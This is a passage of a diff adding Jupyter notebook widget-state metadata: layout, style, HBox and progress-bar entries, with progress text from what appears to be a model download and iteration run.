+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4e3739037f2b44d2bd1ecaa20b29d70c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4e3eebfc758c467fbf44e81c0de7068d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4e55fede968943718a3c10962f5f708b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4e8ec740f2ba45d1817c46b449e34423": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "50207c4a7c9d439896796dd407c1c3da": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e67431e7efe24016bcf04dfbcffc776e",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e23ebecc8f5f4598a991da021d78ddd2",
+            "value": 20
+          }
+        },
+        "50569e1467f7411e862553111c97afb3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "50b52602c923405eb91d1a4a7af8b5c5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_9c621a99b504459590a39098afbe5d50",
+              "IPY_MODEL_50207c4a7c9d439896796dd407c1c3da",
+              "IPY_MODEL_bd4b11f4948c40fb8101049fa3754dde"
+            ],
+            "layout": "IPY_MODEL_041e8d74b5744f908e37407f4cdece4e"
+          }
+        },
+        "516f366ed73b4ed0991a6a91fb22a3d8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5189fa18ab144b5a93124e0b555d5677": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "51a8aa7fde0c449392867b95a7aa6c16": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "532e652d4d5245c8b7579c4fda4217c3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "55470891a5ad41f2b04d3d5c86c1c934": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9e6fae549ea447e89a0ab36ba19e5fab",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d79c2804b05248d8989a1462716a3478",
+            "value": " 20/20 [00:05&lt;00:00,  3.86it/s]"
+          }
+        },
+        "55e9c8210ea743939cdcdf6b873e00a1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "56310a7fb0804b43a60815c858d910c5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "59514b4f9b8f4930a1b07aad4ab19d25": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_932741fa7e674b6595866eecaf746bc9",
+            "max": 100,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_eb2855fb57d64857ab32fafd3a77b457",
+            "value": 100
+          }
+        },
+        "59e8c90ecdf04c2b89f9a539e7f7fdbb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5a00f85a6e9e44fcaa25dd0d982f2d0f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5a4843d7d25545dea9b6e53cb091321b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5c825455d85948b99f86b3495de63b29": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5caac903dab34c119294cd4bfb65725c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_eed1d1e67a1d4a20ba49586148ca5a2a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_147c95feace0447ca58cc4079cb2cbe5",
+            "value": " 20/20 [00:05&lt;00:00,  3.88it/s]"
+          }
+        },
+        "5fd422b13c324a8baf619da5d1ad0b8e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8f10179341c44eb192f865feb143c57e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7f58916aaee04e5b89978d0111acf83d",
+            "value": " 10/10 [00:02&lt;00:00,  3.82it/s]"
+          }
+        },
+        "6168a5fc0aeb44cfab1ca7753ecedced": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "62905ea2ea4045aeb5ec9a8426247100": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6923960e3752477590c9c9ebc862163c",
+            "max": 3438213622,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b286d3656c404762b3aaff97f4a5892d",
+            "value": 3438213622
+          }
+        },
+        "63ecaa7f41ce4289aa768b77e9ceebe7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7ede80a1f6544f2a8dfd631cb6d4eaca",
+            "max": 10,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3bcb60cbd7ab48e2884460a1e539bd12",
+            "value": 10
+          }
+        },
+        "641c3e365227455c87baeb3597c44cde": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "65947bf28d8c47059e1dae1f1d2f97b2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "686e9a80d1554e6ca5ff8e1df5188c31": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6923960e3752477590c9c9ebc862163c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "69484df819aa44b3858b76432cc84beb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a726d364296442e196e973e575578c30",
+            "placeholder": "​",
+            "style": "IPY_MODEL_94b5651c5cd14901ac59ce22bb80fcfa",
+            "value": " 30/30 [00:08&lt;00:00,  3.63it/s]"
+          }
+        },
+        "6972c854e0ed46949fa89673845aa9b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b74ed8b4d7604233a405f1413959b644",
+              "IPY_MODEL_c61940c9c4174fa8b515bbda3b612146",
+              "IPY_MODEL_a8983f58e5c44385864ba164e3d00083"
+            ],
+            "layout": "IPY_MODEL_d11ce4de43984beab4937652c55419cb"
+          }
+        },
+        "6a234c3c85734a2cae1348a3329bb659": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b77a65348afa4b6aae8540dd5d9e4d2c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_960b8d20472f40078fc9566abc065cc1",
+            "value": " 10/10 [00:02&lt;00:00,  3.78it/s]"
+          }
+        },
+        "6a6320e8239d4413b9fc766b2e06ff1e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_af5bcc7147324069a3d292911d70d057",
+            "placeholder": "​",
+            "style": "IPY_MODEL_95a784af30bd4bde911e0ee76e343e72",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "6b04b7bfcca645368b1287a3467bc3a1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
